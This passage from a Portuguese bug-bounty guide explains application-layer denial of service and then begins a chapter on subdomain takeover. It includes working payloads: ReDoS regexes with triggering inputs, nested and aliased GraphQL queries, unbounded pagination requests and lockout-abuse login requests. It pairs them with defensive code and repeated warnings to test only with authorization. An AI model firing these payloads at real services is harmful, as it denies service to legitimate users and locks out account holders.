Amplificação	Quanto o servidor gasta por unidade de esforço seu
Exhaustion	O recurso que estoura (CPU, RAM, disco, conexões, threads)
PoC controlada	A demonstração que prova o vetor **sem** derrubar nada

Por que isso importa (e quanto paga)

DoS costuma pagar **menos** que um RCE ou um IDOR de PII (dados pessoais identificáveis — nome, CPF, e-mail), mas paga — e em muitos programas é aceito quando está no escopo. Em casos reais, falhas de **rate limiting** (a porta de entrada do DoS de aplicação) renderam de **bônus de ~US$100** até **US$700**, e em programas BR um *account lockout* abusável saiu por algumas centenas de reais. Faixas honestas: de **R$250** (um rate limit ausente, baixo impacto) até **alguns milhares** quando o vetor é caro (ReDoS travando o worker, GraphQL multiplicando milhões de queries).

O que move o valor é o **impacto demonstrável e a assimetria**:

- **Indisponibilidade do serviço** — usuários legítimos não conseguem usar a aplicação.
- **Account lockout em massa** — um atacante derruba o *login* de qualquer pessoa só errando a senha 3 vezes (DoS direcionado a contas, sem precisar derrubar a infra inteira).
- **Esgotamento de recurso caro** — um worker preso 30s numa regex deixa de atender todo mundo na fila.
- **Custo financeiro** — em arquitetura serverless/auto-scaling, "DoS" pode virar **DoW (Denial of Wallet)**: você não derruba, você faz a conta da cloud explodir.

> **Como o DoS pontua (CVSS).** O DoS é a classe mais "limpa" de pontuar: o impacto é só em **disponibilidade** (`A:H` no v3.1, `VA:H` no v4.0) — confidencialidade e integridade ficam em `N`. O que move o número é uma coisa só: **precisa de login?**

Cenário	CVSS v3.1	CVSS v4.0
Não autenticado (qualquer um derruba a app)	`AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` → **7.5 (Alto)**	`AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` → **8.7 (Alto)**
Autenticado (precisa de uma conta válida)	`AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` → **6.5 (Médio)**	`AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` → **Alto** (rode na calculadora)

O `8.7` do v4.0 não autenticado é o valor que a própria FIRST cita como exemplo de DoS de rede não autenticado — repare que o v4.0 pontua **mais alto** que o v3.1 (7.5) para o mesmo DoS, porque na nova fórmula a disponibilidade pesa mais. Os decimais do v3.1 saem da calculadora oficial; para o decimal exato do v4.0 autenticado, rode o vetor na calculadora v4.0 (a escala não é linear e o valor cai uma faixa em relação ao não autenticado, mas continua em **Alto**). Não cole número de fórmula: ajuste conforme **o que você provou** — e lembre que o DoS frequentemente está **fora de escopo** (mais abaixo). Calibrar isso bem: Severidade, Impacto e Triagem.

DoS é a classe mais sensível ao escopo. Muitos programas escrevem, com todas as letras, "*DoS/DDoS testing is prohibited*". Quando proibido, **não teste o impacto** — no máximo reporte a **ausência de controle** (ex.: "endpoint X aceita upload sem limite de tamanho") como observação teórica, sem provocar a queda. Ler as regras é parte do trabalho. Quando os triagers questionam o impacto de um rate limit, o caminho é: confirmar que **não está fora de escopo**, argumentar o impacto em detalhe e **linkar reports públicos** da mesma classe já pagos como precedente.

Como funciona por trás

Toda aplicação tem recursos finitos. Um servidor web roda com um número limitado de **workers/threads**; cada um tem um teto de **CPU** e **memória**; o disco tem espaço; o pool de conexões tem tamanho. DoS de aplicação é **fazer um desses recursos chegar a zero** mais rápido do que o servidor consegue liberar.

Pense no fluxo normal: a requisição chega, um worker pega, processa rápido (milissegundos), responde e fica livre para o próximo. Agora imagine que **uma** requisição prende o worker por 30 segundos:

```
Worker livre → recebe req cara → ocupado 30s → ... fila enchendo ...
                                                ↑ usuários legítimos esperando
```

Com poucos workers e algumas requisições caras em paralelo, **todos os workers ficam ocupados ao mesmo tempo** e a aplicação para de responder a quem chega depois. Você não "quebrou" nada — só ocupou todos os caixas do banco com clientes que demoram uma eternidade. Esse é o coração do DoS de aplicação.

Tipos e variações

Vamos cobrir os vetores de aplicação mais cobrados em bug bounty. Cada um é uma forma diferente de criar **assimetria de custo**.

1. **ReDoS (Regular expression DoS)** — uma regex mal escrita entra em *backtracking* catastrófico e gasta CPU exponencial num input pequeno.
2. **Resource exhaustion por upload/descompressão** — upload sem limite de tamanho, ou **zip bomb** (arquivo minúsculo que descomprime para gigabytes).
3. **GraphQL — query aninhada/profunda e batching** — uma query recursiva ou um lote de queries num único POST multiplica o trabalho do backend.
4. **Falta de paginação/limite** — endpoint que devolve "todos os registros" sem teto; peça `first: 99999999` e veja o servidor sofrer.
5. **Falta de rate limit em endpoint caro** — sem teto de requisições em rotas que custam (envio de e-mail/SMS, geração de PDF, busca pesada, *login*).
6. **Amplificação lógica** — abusar de uma regra de negócio para gerar trabalho desproporcional (ex.: um *trigger* que dispara N e-mails, ou um *account lockout* abusável).

Recon — como encontrar

DoS de aplicação se acha **mapeando onde o servidor faz trabalho caro a partir de input seu**. Onde olhar:

- **Campos validados por regex** — e-mail, telefone, CPF, URL, senha (políticas complexas). Se a validação trava em input estranho, cheira a ReDoS.
- **Uploads e importações** — qualquer "envie um arquivo": avatar, planilha, ZIP, importação de vendas/contatos. Procure ausência de limite de tamanho e de tipo.
- **Endpoints de listagem** — `?limit=`, `?per_page=`, `first:`, `size=`. Teste valores absurdos.
- **GraphQL** — se existe `/graphql`, teste introspection (consulta especial que faz o servidor revelar todo o schema/tipos da API) e veja relações que permitem aninhamento cíclico (`post → author → posts → author → ...`).
- **Ações caras e disparáveis** — `login`, reset de senha, reenvio de OTP/SMS, geração de relatório/PDF, exportação. São candidatos a **rate limit ausente**.

Ferramentas que ajudam (as básicas estão no capítulo Recon & Discovery):

```
# Descobrir endpoints/params caros vazados no JS (gau = pega URLs do Wayback/etc;
# httpx = sonda quais respondem) — leia cada path procurando upload/search/export
echo https://alvo.com | gau | grep -Ei 'upload|import|export|search|graphql|report' |
httpx -mc 200
```

```
# Achar um endpoint GraphQL (e se introspection está ligada)
echo alvo.com | httpx -path /graphql -mc 200 -title
```

> **Regra de ouro do recon de DoS:** procure o ponto onde **input pequeno = trabalho grande**. Anote o **tempo-base** (latência normal do endpoint) ANTES de testar — é a sua linha de referência para medir o sinal depois. Sem linha-base, você não tem prova.

Exploração passo a passo (do básico ao avançado, e sempre controlada)

A regra que vale para **todos** os níveis: meça com **uma** requisição, compare com a linha-base, **pare** assim que tiver o sinal. Você está coletando evidência de fragilidade, não tirando o serviço do ar.

Nível 1 — Rate limit ausente em endpoint caro (a porta de entrada)

O teste mais simples e o mais cobrado. Pegue uma ação que custa (envio de OTP, *login*, busca) e verifique se há teto de requisições. No **Burp Repeater**, mande a mesma request um punhado de vezes e observe: ela **continua** respondendo `200`, sem `429 Too Many Requests`, sem CAPTCHA, sem atraso progressivo?

```
POST /api/v1/otp/send HTTP/2
Host: alvo.com
Content-Type: application/json

{"phone":"+5511999999999"}      # <- reenviar N vezes: cada uma dispara um SMS (custa $)
```

Para **evidenciar** sem abusar, use o **Burp Intruder** com um número **pequeno e controlado** de requisições (ex.: 20–30, *Null payloads*), só para mostrar que **nada** barra. Você não precisa de 10.000 — precisa provar que o controle **não existe**. Se quiser controlar a taxa fora do Burp, o `ffuf` aceita a flag `-t` para limitar threads (o default manda muita requisição por segundo):

```
# -t 5 = só 5 threads; teste controlado, não enxurrada
ffuf -w nums.txt -t 5 -u https://alvo.com/api/v1/otp/send -X POST -mc all
```

Nível 2 — Account lockout abusável (DoS direcionado)

Variação clássica de amplificação lógica. Se o sistema **bloqueia a conta** após 3 senhas erradas e **não** tem rate limit por origem, qualquer pessoa que saiba o seu *login* consegue **te trancar para fora** repetidamente — um DoS direcionado, sem derrubar a infra.

```
POST /auth/login HTTP/2
Host: alvo.com
Content-Type: application/json
```

```
{"username":"vitima_alvo","password":"errada"}   # <- 3x e a conta de OUTRA pessoa
tranca
```

Para demonstrar com responsabilidade: use **uma conta de teste sua** como "vítima", erre a senha o número de vezes da política e mostre a resposta de bloqueio. Você prova o vetor na sua própria conta — nunca na de um usuário real.

Nível 3 — ReDoS (regex catastrófica)

Aqui está a alavanca de CPU mais elegante. Algumas regex, com certos inputs, entram em **backtracking catastrófico**: o número de caminhos que o motor tenta cresce **exponencialmente** com o tamanho do input. Um input de 30 caracteres pode levar **segundos ou minutos**.

Por que acontece? Motores de regex tradicionais (PCRE, o de JS, Java, Python) usam *backtracking*: quando o casamento falha, o motor **volta** a posições anteriores e tenta outro caminho, repetindo isso até esgotar todas as possibilidades. Uma **"evil regex"** tem **repetição agrupada com sobreposição** — quantificador dentro de quantificador onde as alternativas se sobrepõem. A OWASP lista quatro padrões clássicos:

Evil regex	Por que é vulnerável
`(a+)+$`	`a+` dentro de `(...)+` — o motor pode dividir os `a` de incontáveis formas
`([a-zA-Z]+)*$`	repetição de repetição
`(a|aa)+$`	alternância **sobreposta** (`aa` também casa como `a` + `a`)
`(a|a?)+$`	alternância sobreposta com opcional

Todos explodem com um input como `aaaaaaaaaaaaaaaaaaaaaaaa!` — uma sequência longa de `a` que **quase** casa, seguida de um caractere (`!`) que força a **falha** e dispara o backtracking de todos os caminhos possíveis.

Como testar com responsabilidade — você **não** precisa derrubar o servidor. Reproduza a regex localmente (ou peça-a no JS do front, onde validações às vezes vivem) e meça o tempo de CPU **na sua própria máquina**:

```
// PoC LOCAL — meça na SUA máquina, jamais mande o input ao servidor de produção
const evil = /^(a+)+$/;
const input = "a".repeat(30) + "!";   // 30 'a' + '!' já trava por segundos
console.time("redos");
evil.test(input);                     // <- aqui o motor entra em backtracking
catastrófico
console.timeEnd("redos");             // tempo cresce ~exponencialmente com o tamanho
```

No alvo, a prova **controlada** é mandar **uma** requisição com um input moderado (ex.: 25–35 caracteres no padrão acima) no campo validado pela regex e medir a **latência** contra a linha-base. Se a resposta de 50ms vira 8s com **um** caractere a mais no input, você demonstrou o vetor sem precisar de paralelismo nem de derrubar nada. **Pare aí** e calcule o

impacto no report ("input de N chars → ~Xs de CPU; basta um punhado em paralelo para saturar os workers").

Nível 4 — Resource exhaustion: upload gigante e zip bomb

Dois sabores. O primeiro é **upload sem limite de tamanho**: se o endpoint aceita um arquivo de qualquer tamanho e o carrega **inteiro na memória** para processar, um arquivo grande estoura a RAM do worker. O segundo, mais sofisticado, é a **zip bomb**: um arquivo `.zip` **minúsculo** (kilobytes) que **descomprime** para gigabytes ou terabytes, esgotando RAM/disco durante a extração.

A zip bomb funciona porque a descompressão é assimétrica por natureza: o famoso `42.zip` tem 42 KB e descomprime para **4.5 petabytes** (razão de ~107 bilhões para 1, via aninhamento de várias camadas de ZIP), e variantes modernas em camada única chegam a razões de milhões-para-um sobrepondo entradas de arquivo. O servidor recebe poucos bytes e tenta materializar gigabytes ou mais.

Demonstração responsável: o ponto que você reporta é a **ausência de validação** — não a queda. Mostre que o endpoint **aceita** um arquivo acima do que deveria, ou que **não checa a razão de compressão**. Você pode evidenciar com um arquivo grande **mas controlado** (ex.: alguns MB acima do limite esperado) e a resposta `200` /aceitação, sem precisar enviar uma bomba real que materialize gigabytes em produção.

```
POST /api/import/contacts HTTP/2
Host: alvo.com
Content-Type: multipart/form-data; boundary=----x

------x
Content-Disposition: form-data; name="file"; filename="data.zip"
Content-Type: application/zip

<conteúdo do arquivo>           # <- aceita .zip sem checar tamanho/razão de
descompressão?
------x--
```

A evidência forte aqui é a **ausência de limite**: nenhum `Content-Length` máximo, nenhuma rejeição por tipo/tamanho, nenhuma mensagem sobre razão de compressão.

Nível 5 — GraphQL: aninhamento profundo e batching

Se o alvo expõe `/graphql`, dois vetores se destacam. O primeiro é a **query profundamente aninhada**: quando o schema tem relações cíclicas, você pode pedir o mesmo caminho repetidamente, e cada nível **multiplica** o trabalho do resolver (e do banco). A PortSwigger avisa que "queries muito aninhadas podem ter impacto significativo de performance e potencialmente abrir oportunidade para ataques de DoS se forem aceitas" — na prática, em resolvers que disparam uma consulta ao banco por nível, o número de operações cresce de forma multiplicativa com a profundidade, podendo chegar a milhares ou milhões.

```
# Query aninhada — cada nível multiplica o trabalho do backend (PoC: cheque o tempo,
depois PARE)
query {
  post(id: 1) {
    author { posts { author { posts { author { id   # <- ciclo author↔posts se
repetindo
    } } } } }
  }
}
```

O segundo é **query batching**: mandar **várias** operações num **único** HTTP POST. Há duas formas: (a) um **array de queries** no corpo, suportado por servidores com batching habilitado (ex.: Apollo Server com `allowBatchedHttpRequests`), e (b) **aliases** — repetir o mesmo campo com nomes diferentes numa única operação, que funciona em **qualquer** servidor GraphQL. Os dois efeitos são iguais: uma chamada de rede vira N execuções no backend — ótima assimetria, e também um jeito de **burlar rate limit** que conta por requisição HTTP. A PortSwigger observa que, "como aliases efetivamente permitem enviar múltiplas queries numa única mensagem HTTP, eles podem burlar" o rate limit por requisição.

(a) **batching por array** (depende de o servidor aceitar) — corpo do POST:

```
[
  {"query":"query{ expensiveSearch(q:\"a\"){ id } }"},
  {"query":"query{ expensiveSearch(q:\"b\"){ id } }"}
]
```

(b) **batching por aliases** (funciona em qualquer servidor) — N buscas caras numa só request:

```
query {
  a: expensiveSearch(q: "a") { id }
  b: expensiveSearch(q: "b") { id }
}
```

Responsável: mande **uma** query com aninhamento **moderado** (poucos níveis) e meça a latência contra a linha-base. Se 3 níveis já dobram o tempo, você extrapola o impacto no report **sem** mandar a query de 30 níveis que realmente derruba.

Nível 6 — Falta de paginação / limite de quantidade

O primo simples do batching. Endpoints que aceitam `first`, `limit`, `per_page` ou `size` sem teto deixam você pedir o universo inteiro de uma vez — o servidor carrega tudo na memória e serializa um JSON gigante.

```
GET /api/v1/transactions?per_page=99999999 HTTP/2   # <- sem teto = carrega tudo na RAM
Host: alvo.com
```

```
Authorization: Bearer <seu_token>   # Bearer = esquema "portador": o token no header já autentica a request
```

A prova controlada é subir o valor **gradualmente** (100 → 1.000 → 10.000) medindo a latência, e mostrar que **não há limite** imposto pelo servidor — sem precisar chegar no valor que estoura.

Caso real-fictício: ReDoS no validador de e-mail

> Cenário **fictício, baseado em padrões reais** de programas de bug bounty (anonimizado).

Você testa `app.exemplo.com`. No cadastro, o campo de e-mail é validado **no backend** por uma regex. No JS da página (descoberto no recon) você encontra a mesma regex sendo usada no front:

```
// Trecho achado no bundle JS do alvo (validação de e-mail)
const re = /^([a-zA-Z0-9]+)*@alvo\.com$/;   // <- ([a-zA-Z0-9]+)* : repetição de repetição = evil regex
```

Passo 1 — Confirmar localmente. Você reproduz a regex na sua máquina (jamais mandando ao servidor ainda) e mede:

```
const re = /^([a-zA-Z0-9]+)*@alvo\.com$/;
const payload = "a".repeat(30) + "@alvo.co";   // quase casa, mas o '.com' falha → backtracking
console.time("redos"); re.test(payload); console.timeEnd("redos");
// redos: ~7500ms   <- 30 caracteres travam o motor por ~7s nesta máquina (cada +2 'a' ~quadruplica o tempo)
```

Passo 2 — Linha-base no alvo. No Burp Repeater, você submete um e-mail normal e anota o tempo de resposta: **~70ms**.

Passo 3 — Uma requisição controlada. Você envia **uma única** request de cadastro com o input que trava a regex:

```
POST /api/v1/signup HTTP/2
Host: app.exemplo.com
Content-Type: application/json

{"email":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@alvo.co","password":"Senha123!"}
# <- 30 'a' + dominio que falha o casamento: força backtracking catastrófico no servidor
```

```
HTTP/2 504 Gateway Timeout
# A resposta de ~70ms virou um timeout de gateway: o worker ficou preso na regex
```

Passo 4 — Parar e calcular. Você **não** repete em paralelo nem tenta derrubar. Uma requisição mostrando que o tempo saltou de 70ms para o timeout do gateway **já prova o vetor**. No report você extrapola: "*com a quantidade de workers do serviço, um punhado dessas requisições em paralelo satura todos os workers e nega o serviço — input de 40 bytes vs. minutos de CPU.*"

O que a tela do Burp mostraria: painel Request/Response; na Response, o `504` /tempo de resposta drasticamente maior que a linha-base de 70ms, com o input longo destacado no corpo da request.

Passo 5 — Report. Título `[DoS - ReDoS] - Backtracking catastrófico no validador de e-mail do cadastro`. Resumo focado no negócio: "*um input de poucos bytes força o servidor a gastar CPU por segundos/minutos numa regex vulnerável; poucas requisições em paralelo saturam os workers e tornam o cadastro indisponível*". Passos numerados, a PoC **local** medindo a curva de tempo, e a **uma** requisição controlada no alvo como evidência. Como o cadastro é **anônimo** (sem login), o vetor é `PR:N`: **CVSS v3.1 7.5 (Alto)** (`AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`) · **CVSS v4.0 8.7 (Alto)** (`AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`). Severidade sempre **conforme o impacto provado e o escopo do programa** — se DoS for *out-of-scope*, não há report de impacto a fazer. (Veja o capítulo Como escrever um report que paga.)

Defesa em camadas

A defesa de DoS de aplicação é sempre **impor limites** — em tempo, tamanho, quantidade, complexidade e taxa. Nenhum controle isolado resolve; é a soma das camadas.

1. Rate limiting (a base de tudo). Limite requisições por IP/usuário, especialmente em rotas caras e de autenticação.

```
// Node/Express — express-rate-limit
const rateLimit = require("express-rate-limit");
const otpLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,   // janela de 15 min
  max: 5,                     // 5 requisições por IP na janela; o resto recebe 429
  standardHeaders: "draft-8", // expõe RateLimit-* (padrão IETF)
  legacyHeaders: false,
});
app.post("/api/v1/otp/send", otpLimiter, sendOtp);   // <- aplica só onde dói
```

2. Account lockout com freio, não só trava. Bloquear por tentativa errada protege contra brute force, mas vira DoS direcionado se não houver rate limit por origem. Combine: limite por IP **antes** do lockout, use *backoff* progressivo e lockout temporário (não permanente), e prefira CAPTCHA/MFA a trancar a conta da vítima.

3. Timeouts em tudo. Nenhuma operação deve poder rodar indefinidamente. A OWASP recomenda operações assíncronas e timeouts de sessão/requisição.

```
// Timeout de requisição: mata o handler que passar do teto
app.use((req, res, next) => { res.setTimeout(10_000, () => res.sendStatus(503));
next(); });
```

4. Regex segura (contra ReDoS). Evite repetição de repetição e alternância sobreposta. Para input não-confiável, prefira um **motor sem backtracking** como o RE2 (via `re2` no Node, que tem complexidade linear garantida), ou valide com um *parser* dedicado em vez de regex.

```
const RE2 = require("re2");
const re = new RE2(/^[a-z0-9.]+@alvo\.com$/);   // RE2 não faz backtracking: tempo
linear
// alternativa sem regex: validar tamanho máximo + split('@') + checagens simples
```

5. Limites de tamanho e descompressão (contra upload/zip bomb). Imponha tamanho máximo de corpo e de arquivo, valide o tipo, e **limite a saída** da descompressão (o `zlib` nativo do Node historicamente não limita o tamanho descomprimido — escolha uma lib que valide ou rode a extração com quota de CPU/memória/disco, ex.: container com limites).

```
app.use(express.json({ limit: "100kb" }));   // corpo JSON ≤ 100 KB
// upload (multer): limite de tamanho por arquivo
const upload = require("multer")({ limits: { fileSize: 2 * 1024 * 1024 } }); // 2 MB
```

```
# Python — checar a razão de compressão ANTES de extrair tudo (anti zip bomb)
import zipfile
MAX_RATIO, MAX_TOTAL = 100, 200 * 1024 * 1024  # razão 100:1, total 200 MB
with zipfile.ZipFile(path) as z:
    total = sum(i.file_size for i in z.infolist())
    comp  = sum(i.compress_size for i in z.infolist())
    if total > MAX_TOTAL or (comp and total / comp > MAX_RATIO):
        raise ValueError("possível zip bomb: razão/total acima do limite")
```

6. Complexidade e profundidade no GraphQL. A PortSwigger e a OWASP GraphQL Cheat Sheet recomendam: limitar **profundidade** da query, limitar **quantidade** (`first` máximo), **custo/complexidade** (rejeitar queries caras), **timeout** por query, **limite de batch** (máximo de operações por POST) e **paginação** obrigatória.

```
// Apollo Server — limita profundidade da query
const depthLimit = require("graphql-depth-limit");
const server = new ApolloServer({ schema, validationRules: [ depthLimit(7) ] }); // <-
máx 7 níveis
```

7. Paginação e quotas. Toda listagem deve ter um teto **imposto pelo servidor** (`per_page` capado em, ex., 100), independentemente do que o cliente pedir. Defina quotas por usuário/plano para operações caras.

> **O que NÃO basta:** validar só no frontend (a regex/limite do front é ignorável); confiar no `Content-Length` enviado pelo cliente; ter rate limit por requisição mas aceitar batching (que burla a contagem); usar UUID/IDs imprevisíveis (não tem relação com DoS); ou achar que CAPTCHA resolve DoS — segundo a própria OWASP, CAPTCHA protege contra abuso de funcionalidade, **não** contra DoS de exhaustion.

Ferramentas + labs legais

- **Burp Suite** — Repeater (medir latência de **uma** request), Intruder com volume **pequeno e controlado**, e a extensão **InQL** para mapear schema GraphQL.
- **ffuf** — fuzzing com `-t` para **controlar** a taxa (não para inundar).
- **redos-detector / safe-regex (npm)** e **recheck** — análise estática para flagrar evil regex no código.
- **RE2** (google/re2) — motor de regex linear, a defesa mais robusta para input não-confiável.
- **Labs pra praticar (autorizados):** PortSwigger Web Security Academy — GraphQL (labs de DoS por aninhamento/batching), Snyk Learn — ReDoS, DVWA, TryHackMe, HackTheBox. Para ReDoS, o melhor lab é **a sua própria máquina**: reproduza a regex e meça o tempo.

Checklist do caçador

- [ ] Confirmei que **DoS está no escopo** (se proibido, só reporto **ausência de controle**, sem provocar queda).
- [ ] Anotei a **linha-base** (latência normal) de cada endpoint **antes** de testar.
- [ ] Testei **rate limit** em rotas caras e de auth (sem `429`/CAPTCHA = achado).
- [ ] Verifiquei **account lockout** abusável (testando na **minha** conta).
- [ ] Reproduzi **ReDoS localmente** e medi a curva de tempo antes de tocar no alvo.
- [ ] Mandei **UMA** requisição controlada e **parei** ao ter o sinal — nunca paralelizei para derrubar.
- [ ] Testei **uploads** (sem limite de tamanho/tipo) e razão de compressão.
- [ ] Em GraphQL: testei **aninhamento moderado** e **batching**; medi a latência.
- [ ] Testei `limit` / `per_page` / `first` **subindo gradualmente**, sem chegar no valor que estoura.
- [ ] **Calculei e argumentei** o impacto no report em vez de demonstrá-lo até o fim.

Pegadinhas / o que NÃO funciona

- **"Vou rodar o Intruder com 100k requisições pra provar."** Não. Isso É o ataque — você derruba produção e some do programa. Volume pequeno + extrapolação no texto.
- **Confundir DoS de aplicação com volumétrico.** Inundar a banda quase sempre está fora de escopo e exige botnet; o que paga é a **fraqueza lógica**.

- **Testar account lockout na conta de um usuário real.** Use sempre conta de teste sua como "vítima".
- **Achar que rate limit no front conta.** O atacante chama a API direto; só o controle **no servidor** vale.
- **Reportar "rate limit ausente" sem impacto.** Triager vai questionar. Amarre num custo concreto (SMS pago, login, lockout) e linke precedentes.
- **Mandar uma zip bomb real em produção.** Demonstre a **ausência de validação**, não materialize os gigabytes.

O que você precisa lembrar

- DoS de aplicação é **assimetria de custo**: input barato → trabalho caro no servidor.
- A prova é **medir o sinal com uma requisição** e **extrapolar** — nunca consumar a queda.
- Os vetores campeões: **ReDoS**, **upload/zip bomb**, **GraphQL aninhado/batch**, **falta de paginação** e **rate limit ausente**.
- A defesa é **impor limites** em camadas: taxa, tempo, tamanho, complexidade e quota.

> **Dica de ouro:** o melhor report de DoS prova a **fragilidade** sem causar o **dano**. Se você consegue mostrar, com a linha-base ao lado, que uma requisição barata custou caro ao servidor — e **parou aí** —, você tem um achado pago e a consciência limpa. Quem derruba produção "pra ter certeza" não é pesquisador: é o incidente do dia.

Nota ética

DoS é a classe onde a linha entre **pesquisa** e **crime** é mais fina. Tudo aqui é para **testes autorizados** — bug bounty dentro do escopo (e DoS frequentemente está **fora** dele), pentests contratados e labs legais. **Nunca** tente tornar um serviço de terceiros indisponível: além de ilegal, é desnecessário, porque o vetor se prova com medição controlada. Reproduza ReDoS na sua máquina, meça com uma requisição, extrapole no texto e reporte com responsabilidade. Proteger é o objetivo; derrubar produção nunca é.

Referências

- OWASP — Denial of Service Cheat Sheet
- OWASP — Denial of Service (attack)
- OWASP — Regular expression Denial of Service (ReDoS)
- OWASP — GraphQL Cheat Sheet
- PortSwigger — GraphQL API vulnerabilities
- OWASP API Security — API4:2023 Unrestricted Resource Consumption
- Snyk Learn — ReDoS
- google/re2 — motor de regex linear

- FIRST — CVSS v4.0 (calculadora e FAQ; cita DoS de rede não autenticado como 8.7)

Subdomain Takeover e Broken Link Hijacking: herdando o que ficou pra trás

A casa que você não trancou (mas alguém ainda tem a chave)

Imagina que sua empresa contratou um serviço de hospedagem três anos atrás, criou um subdomínio `promo.alvo.com` apontando pra lá, rodou uma campanha, e depois **cancelou o serviço** — mas esqueceu de apagar a placa que dizia "a entrega da `promo.alvo.com` é naquele endereço". A loja fechou, o ponto está vago. Aí chega você: aluga **aquele mesmo endereço vago**, pendura sua própria placa, e agora **tudo que o carteiro entregaria pra `promo.alvo.com` cai na sua mão**. Você não invadiu nada — só ocupou um espaço que a empresa deixou reservado e abandonou.

Isso é **Subdomain Takeover**: um registro de DNS "pendurado" (*dangling*) que aponta pra um recurso de terceiro que **ninguém reivindicou de volta**. E tem um primo mais simples, o **Broken Link Hijacking**: a empresa **linka** na própria página um recurso externo (um perfil de rede social, um domínio de parceiro) que **expirou ou foi apagado** — e você registra esse recurso pra falar em nome dela.

Os dois exploram a mesma falha humana: **alguém criou uma referência pra um recurso externo e nunca a removeu quando o recurso morreu.** Neste capítulo a gente vai do "o que é DNS dangling" até provar um takeover de verdade com uma PoC segura, passando por recon, fingerprinting e defesa. Sem saltos.

> **PoC** (*Proof of Concept*): a prova mínima de que a falha existe — aqui, servir uma página inofensiva sob o domínio da vítima. Detalhe no Glossário.

O que é (e a diferença entre os dois)

Antes de tudo, dois conceitos de DNS que você **precisa** dominar, porque a falha toda mora aqui.

- **Registro A** — diz "este nome aponta pra **este IP**". Ex.: `app.alvo.com → 203.0.113.10`.
- **Registro CNAME** — diz "este nome é um **apelido** de outro nome". Ex.: `promo.alvo.com → alvo-promo.s3.amazonaws.com`. Quem resolve `promo.alvo.com` é mandado pro nome canônico (a "loja" da Amazon).

> **Analogia do CNAME:** o CNAME é um **encaminhamento de correspondência**. A casa `promo.alvo.com` colocou um aviso nos Correios: "minha correspondência, encaminhem pra `alvo-promo.s3.amazonaws.com`". Enquanto essa caixa postal da Amazon existir e for da empresa, tudo certo. O problema é quando a empresa **fecha a caixa postal** mas **não**

> **cancela o encaminhamento**. A correspondência continua chegando num endereço que agora qualquer um pode alugar.

Com isso, as duas falhas ficam claras:

Falha	O que está "pendurado"	O que o atacante faz
Subdomain Takeover	Um **registro DNS** (geralmente CNAME) de um subdomínio do alvo apontando pra um recurso de terceiro **não reivindicado**	Reivindica esse recurso (cria o bucket S3, o app Heroku, a página GitHub) e passa a **servir conteúdo no domínio da vítima**
Broken Link Hijacking (BLH)	Um **link/referência na página** do alvo apontando pra um domínio expirado ou handle de rede social abandonado	Registra esse domínio/handle e passa a **falar em nome do alvo** pra quem clica no link

A diferença em uma frase: **Subdomain Takeover é sequestrar um nome que aponta pro vazio; Broken Link Hijacking é sequestrar um destino pro qual o alvo aponta.** No primeiro o controle é do **subdomínio** (você responde por `*.alvo.com`); no segundo é de um **recurso externo** que o alvo recomenda.

Por que isso importa (e quanto paga)

O estrago vem de uma coisa só: **confiança herdada**. O navegador, o cookie e o usuário confiam em `alvo.com` — e tudo que está sob `*.alvo.com` herda essa confiança.

- **Servir conteúdo arbitrário sob o domínio legítimo:** HTML/JS controlado por você sendo entregue por `promo.alvo.com`. Defacement (desfiguração da página oficial), phishing convincente ("é o domínio real da empresa, deve ser seguro").
- **Roubo de cookie / sessão:** se a aplicação setou cookies com `Domain=.alvo.com` (escopo de domínio inteiro, não de host), o subdomínio sequestrado **lê esses cookies**. Daí pode sair ATO (*Account Takeover*, sequestro de conta). (Falamos de roubo de sessão no capítulo Account Takeover.)
- **Bypass de listas de origem confiáveis:** CORS e CSP (regras do navegador que dizem quais origens podem ler dados ou carregar scripts — ex.: `script-src *.alvo.com`), allowlists de redirect — tudo que confia em "qualquer subdomínio nosso" passa a confiar **em você**. (Mais no Glossário.)
- **BLH:** se passar pela marca em redes sociais, capturar tráfego de quem clica em links oficiais antigos, phishing direcionado.

Em programas reais, essa família costuma pagar de **algumas centenas** (takeover sem dado sensível, classificado como informativo/baixo) a **alguns milhares de reais** (subdomínio usado em fluxo de auth, cookies de escopo de domínio, marca grande). Faixa típica: **R$500 a R$5.000**, dependendo do impacto que você **demonstrar**.

> **Realidade da triagem:** muitos programas classificam takeover como **baixo/informativo** se você não mostrar impacto concreto (roubo de cookie, uso em auth).

> "Consegui servir uma página" às vezes não basta. Pense no **impacto** desde o começo — é o que vimos em Severidade & Triagem.

Como isso pontua (CVSS v3.1 e v4.0)

O score conta a mesma história do mercado: **médio quando é só defacement, alto/crítico quando o subdomínio entra num fluxo de confiança** (cookie de escopo de domínio, CSP/CORS, auth). A peça que segura o número em "Médio" é o **escopo alterado** (`S:C` no v3.1) — o dano não fica no recurso de terceiro, ele atinge o **domínio da vítima e seus usuários**. Leve os dois números no report:

Cenário	CVSS v3.1	CVSS v4.0	Leitura
Takeover servindo conteúdo (defacement / phishing)	**6.1 — Médio** `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`	**~5.3 — Médio** `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N`	Você controla conteúdo sob o domínio legítimo, mas a vítima precisa **visitar/clicar** (`UI:R` / `UI:P`). O `S:C` (escopo alterado) e o `SI:L` (integridade no sistema **subsequente** — os usuários do domínio) é o que sustenta o Médio.
Takeover em fluxo de confiança (cookie `Domain=.alvo.com` , CSP `*.alvo.com` , auth) → ATO	**9.3 — Crítico** `AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N`	**~8.6 — Alto/Crítico** `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N`	O impacto **não é do takeover em si** — é da conta/sessão tomada por roubo de cookie ou XSS de origem confiável. Pontue o **resultado da chain**, não o gadget.

